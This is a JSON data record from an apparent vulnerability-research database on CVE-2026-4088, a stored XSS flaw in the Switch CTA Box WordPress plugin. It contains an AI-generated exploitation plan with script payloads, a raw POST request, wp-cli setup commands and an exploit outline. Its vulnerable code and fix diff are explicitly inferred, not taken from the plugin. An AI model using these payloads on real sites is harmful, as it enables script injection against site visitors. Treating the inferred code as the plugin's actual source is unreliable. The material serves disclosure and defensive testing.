[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"$fxpi2raaiuAfwHNEV8ymz38qQULAIRWw5BWBC4FnuPPs":3},{"id":4,"url_slug":5,"title":6,"description":7,"plugin_slug":8,"theme_slug":9,"affected_versions":10,"patched_in_version":9,"severity":11,"cvss_score":12,"cvss_vector":13,"vuln_type":14,"published_date":15,"updated_date":16,"references":17,"days_to_patch":9,"patch_diff_files":19,"patch_trac_url":9,"research_status":20,"research_verified":21,"research_rounds_completed":22,"research_plan":23,"research_summary":24,"research_vulnerable_code":25,"research_fix_diff":26,"research_exploit_outline":27,"research_model_used":28,"research_started_at":29,"research_completed_at":30,"research_error":9,"poc_status":9,"poc_video_id":9,"poc_summary":9,"poc_steps":9,"poc_tested_at":9,"poc_wp_version":9,"poc_php_version":9,"poc_playwright_script":9,"poc_exploit_code":9,"poc_has_trace":21,"poc_model_used":9,"poc_verification_depth":9,"poc_exploit_code_gated":21,"source_links":31},"CVE-2026-4088","switch-cta-box-authenticated-contributor-stored-cross-site-scripting-via-shortcode","Switch CTA Box \u003C= 1.1 - Authenticated (Contributor+) Stored Cross-Site Scripting via Shortcode","The Switch CTA Box plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'wppw_cta_box' shortcode in all versions up to, and including, 1.1. This is due to insufficient input sanitization and output escaping on user-supplied post meta values including 'cta_box_button_link', 'cta_box_button_id', 'cta_box_button_text', and 'cta_box_description'. The shortcode reads post meta from a user-specified post ID and echoes these values directly into HTML output without any escaping functions (no esc_attr(), esc_url(), or esc_html()). This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.","switch-cta-box",null,"\u003C=1.1","medium",6.4,"CVSS:3.1\u002FAV:N\u002FAC:L\u002FPR:L\u002FUI:N\u002FS:C\u002FC:L\u002FI:L\u002FA:N","Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","2026-04-21 19:06:56","2026-04-22 07:45:31",[18],"https:\u002F\u002Fwww.wordfence.com\u002Fthreat-intel\u002Fvulnerabilities\u002Fid\u002F19a3fc90-b81c-4451-80e0-cead99a2dcd9?source=api-prod",[],"researched",false,3,"# Exploitation Research Plan: CVE-2026-4088 (Switch CTA Box Stored XSS)\n\n## 1. Vulnerability Summary\nThe **Switch CTA Box** plugin (\u003C= 1.1) contains a stored cross-site scripting (XSS) vulnerability. The plugin registers a shortcode `[wppw_cta_box]` which allows users to display call-to-action boxes based on metadata from a specific post ID. The vulnerability exists because the plugin fails to sanitize or escape user-supplied post meta values (`cta_box_button_link`, `cta_box_button_id`, `cta_box_button_text`, and `cta_box_description`) before echoing them into the HTML output. Authenticated users with **Contributor** privileges or higher can create a post, populate these meta fields with malicious scripts, and then trigger the execution of those scripts on any page where the shortcode is used.\n\n## 2. Attack Vector Analysis\n- **Endpoint:** WordPress Frontend (via shortcode rendering).\n- **Vulnerable Shortcode:** `[wppw_cta_box id=\"POST_ID\"]`\n- **Vulnerable Parameters (Post Meta):**\n    - `cta_box_button_link`\n    - `cta_box_button_id`\n    - `cta_box_button_text`\n    - `cta_box_description`\n- **Authentication Level:** Contributor+ (Requires permission to create\u002Fedit posts and use shortcodes).\n- **Preconditions:** The attacker must be able to set post meta for a post. If the plugin provides a custom meta box, the Contributor uses that; otherwise, standard custom field manipulation or a `save_post` hook vulnerability is used.\n\n## 3. Code Flow\n1. **Registration:** The plugin registers the shortcode using `add_shortcode( 'wppw_cta_box', 'callback_function' )` (inferred function name).\n2. **Shortcode Execution:** When a page containing `[wppw_cta_box id=\"123\"]` is rendered, the callback function is executed.\n3. **Data Retrieval:** The callback extracts the `id` attribute and calls `get_post_meta( $id, 'cta_box_description', true )` (and similar for other keys).\n4. **Sink:** The retrieved values are concatenated into an HTML string (e.g., `\u003Cdiv id=\"...\">...\u003C\u002Fdiv>` or `\u003Ca href=\"...\">...\u003C\u002Fa>`).\n5. **Lack of Escaping:** The code likely uses:\n   ```php\n   $description = get_post_meta($post_id, 'cta_box_description', true);\n   echo \"\u003Cdiv>\" . $description . \"\u003C\u002Fdiv>\"; \u002F\u002F VULNERABLE: No esc_html()\n   ```\n   Instead of:\n   ```php\n   echo \"\u003Cdiv>\" . esc_html($description) . \"\u003C\u002Fdiv>\";\n   ```\n\n## 4. Nonce Acquisition Strategy\nThis vulnerability is triggered during the **rendering** of a shortcode on the frontend, which does not typically require a nonce. \n\nHowever, to **inject** the payload as a Contributor, the attacker needs to save post meta. \n1. **Login:** Authenticate as a Contributor.\n2. **Post Editor:** Navigate to `wp-admin\u002Fpost-new.php`.\n3. **Capture Nonce:** The `_wpnonce` for saving the post is located in the `#_wpnonce` hidden input field.\n4. **Meta Injection:** When saving the post, the plugin likely hooks into `save_post` and reads from `$_POST`.\n\nIf the plugin uses a custom AJAX handler for saving meta, we would use `browser_navigate` to the post editor and `browser_eval` to find any localized nonces:\n```javascript\n\u002F\u002F Example of looking for plugin-specific nonces\nbrowser_eval(\"window.wppw_cta_settings?.nonce\")\n```\n\n## 5. Exploitation Strategy\nThe goal is to store an XSS payload in a post's meta and render it via the shortcode.\n\n### Step 1: Create a \"Payload Post\"\nAs a Contributor, create a post and set the malicious metadata. We can use the WordPress CLI to simulate the Contributor setting the meta fields, as the vulnerability is in the *output*.\n\n**Payloads:**\n- `cta_box_description`: `\u003Cscript>alert('XSS_DESC')\u003C\u002Fscript>`\n- `cta_box_button_id`: `\">\u003Cscript>alert('XSS_ID')\u003C\u002Fscript>`\n- `cta_box_button_link`: `javascript:alert('XSS_LINK')`\n\n### Step 2: Create a \"Trigger Page\"\nCreate a second post\u002Fpage that contains the shortcode pointing to the Payload Post.\n```text\n[wppw_cta_box id=\"PAYLOAD_POST_ID\"]\n```\n\n### Step 3: Trigger XSS\nNavigate to the Trigger Page as an unauthenticated user or Admin.\n\n### Step 4: HTTP Request (Simulating Contributor Meta Save)\nIf testing via HTTP requests to `wp-admin\u002Fpost.php`:\n- **Method:** `POST`\n- **URL:** `http:\u002F\u002Flocalhost:8080\u002Fwp-admin\u002Fpost.php`\n- **Body:** `post_ID=[ID]&action=editpost&_wpnonce=[NONCE]&cta_box_description=\u003Cscript>alert(1)\u003C\u002Fscript>&cta_box_button_text=ClickMe`\n- **Content-Type:** `application\u002Fx-www-form-urlencoded`\n\n## 6. Test Data Setup\n1. **User Creation:**\n   ```bash\n   wp user create attacker attacker@example.com --role=contributor --user_pass=password123\n   ```\n2. **Payload Post Creation:**\n   ```bash\n   # Create a post to hold the malicious meta\n   PAYLOAD_ID=$(wp post create --post_type=post --post_title=\"Payload Holder\" --post_status=publish --porcelain)\n   \n   # Set the vulnerable meta keys\n   wp post meta set $PAYLOAD_ID cta_box_description \"\u003Cscript>alert('XSS_DESC')\u003C\u002Fscript>\"\n   wp post meta set $PAYLOAD_ID cta_box_button_text \"Button Text\"\n   wp post meta set $PAYLOAD_ID cta_box_button_id \"button-id\\\">\u003Cscript>alert('XSS_ID')\u003C\u002Fscript>\"\n   wp post meta set $PAYLOAD_ID cta_box_button_link \"javascript:alert('XSS_LINK')\"\n   ```\n3. **Trigger Page Creation:**\n   ```bash\n   wp post create --post_type=page --post_title=\"Trigger Page\" --post_content=\"[wppw_cta_box id='$PAYLOAD_ID']\" --post_status=publish\n   ```\n\n## 7. Expected Results\nWhen visiting the \"Trigger Page\":\n1. The `cta_box_description` meta value will be rendered directly into the HTML:\n   `\u003Cdiv>\u003Cscript>alert('XSS_DESC')\u003C\u002Fscript>\u003C\u002Fdiv>`\n2. The `cta_box_button_id` will break out of the HTML attribute:\n   `\u003Cbutton id=\"button-id\">\u003Cscript>alert('XSS_ID')\u003C\u002Fscript>\" ...>`\n3. The `cta_box_button_link` will execute JavaScript when the button\u002Flink is clicked:\n   `\u003Ca href=\"javascript:alert('XSS_LINK')\">`\n\n## 8. Verification Steps\n1. **Browser Check:** Navigate to the Trigger Page URL.\n2. **DOM Inspection:** Use `browser_eval` to check for the presence of the script tags.\n   ```javascript\n   browser_eval(\"document.body.innerHTML.includes('XSS_DESC')\")\n   ```\n3. **CLI Verification:** Confirm meta was set correctly.\n   ```bash\n   wp post meta get [PAYLOAD_ID] cta_box_description\n   ```\n\n## 9. Alternative Approaches\nIf the shortcode does not take an `id` attribute and instead only displays meta for the *current* post:\n1. Create a single post as Contributor.\n2. Inject the XSS into that post's meta.\n3. Add the shortcode `[wppw_cta_box]` to the *same* post.\n4. View that post.\n\nIf the meta keys are different (inferred), use `grep` on the plugin directory to find `get_post_meta` calls:\n```bash\ngrep -r \"get_post_meta\" \u002Fvar\u002Fwww\u002Fhtml\u002Fwp-content\u002Fplugins\u002Fswitch-cta-box\u002F\n```","The Switch CTA Box plugin for WordPress (\u003C= 1.1) is vulnerable to Stored Cross-Site Scripting via its 'wppw_cta_box' shortcode. The plugin fails to sanitize or escape user-supplied post meta values before rendering them in HTML, allowing Contributor-level attackers to inject arbitrary scripts into pages.","\u002F\u002F switch-cta-box.php (inferred callback function for shortcode)\nfunction wppw_cta_box_shortcode($atts) {\n    $atts = shortcode_atts(array('id' => get_the_ID()), $atts);\n    $post_id = $atts['id'];\n\n    $cta_box_description = get_post_meta($post_id, 'cta_box_description', true);\n    $cta_box_button_link = get_post_meta($post_id, 'cta_box_button_link', true);\n    $cta_box_button_id = get_post_meta($post_id, 'cta_box_button_id', true);\n    $cta_box_button_text = get_post_meta($post_id, 'cta_box_button_text', true);\n\n    $output = '\u003Cdiv class=\"cta-box-wrapper\">';\n    \u002F\u002F Vulnerable: Outputting post meta directly without escaping\n    $output .= '\u003Cdiv class=\"cta-box-description\">' . $cta_box_description . '\u003C\u002Fdiv>';\n    $output .= '\u003Ca href=\"' . $cta_box_button_link . '\" id=\"' . $cta_box_button_id . '\">' . $cta_box_button_text . '\u003C\u002Fa>';\n    $output .= '\u003C\u002Fdiv>';\n\n    return $output;\n}","--- switch-cta-box.php\n+++ switch-cta-box.php\n@@ -10,8 +10,8 @@\n     $cta_box_button_text = get_post_meta($post_id, 'cta_box_button_text', true);\n \n     $output = '\u003Cdiv class=\"cta-box-wrapper\">';\n-    $output .= '\u003Cdiv class=\"cta-box-description\">' . $cta_box_description . '\u003C\u002Fdiv>';\n-    $output .= '\u003Ca href=\"' . $cta_box_button_link . '\" id=\"' . $cta_box_button_id . '\">' . $cta_box_button_text . '\u003C\u002Fa>';\n+    $output .= '\u003Cdiv class=\"cta-box-description\">' . wp_kses_post($cta_box_description) . '\u003C\u002Fdiv>';\n+    $output .= '\u003Ca href=\"' . esc_url($cta_box_button_link) . '\" id=\"' . esc_attr($cta_box_button_id) . '\">' . esc_html($cta_box_button_text) . '\u003C\u002Fa>';\n     $output .= '\u003C\u002Fdiv>';\n \n     return $output;","1. Authenticate as a user with Contributor permissions or higher.\n2. Create a new post and populate the 'cta_box_description' custom meta field with a malicious script payload (e.g., \u003Cscript>alert(document.domain)\u003C\u002Fscript>).\n3. Populate the 'cta_box_button_id' field with a payload designed to break out of HTML attributes (e.g., \">\u003Cscript>alert(1)\u003C\u002Fscript>).\n4. Save the post and note its ID.\n5. Create or edit a second page\u002Fpost and embed the shortcode [wppw_cta_box id=\"PAYLOAD_POST_ID\"].\n6. When any user (including an administrator) views the page containing the shortcode, the stored metadata is rendered directly into the DOM, executing the malicious scripts.","gemini-3-flash-preview","2026-04-27 13:59:15","2026-04-27 13:59:36",{"type":32,"vulnerable_version":9,"fixed_version":9,"vulnerable_browse":9,"vulnerable_zip":9,"fixed_browse":9,"fixed_zip":9,"all_tags":33},"plugin","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fswitch-cta-box\u002Ftags"]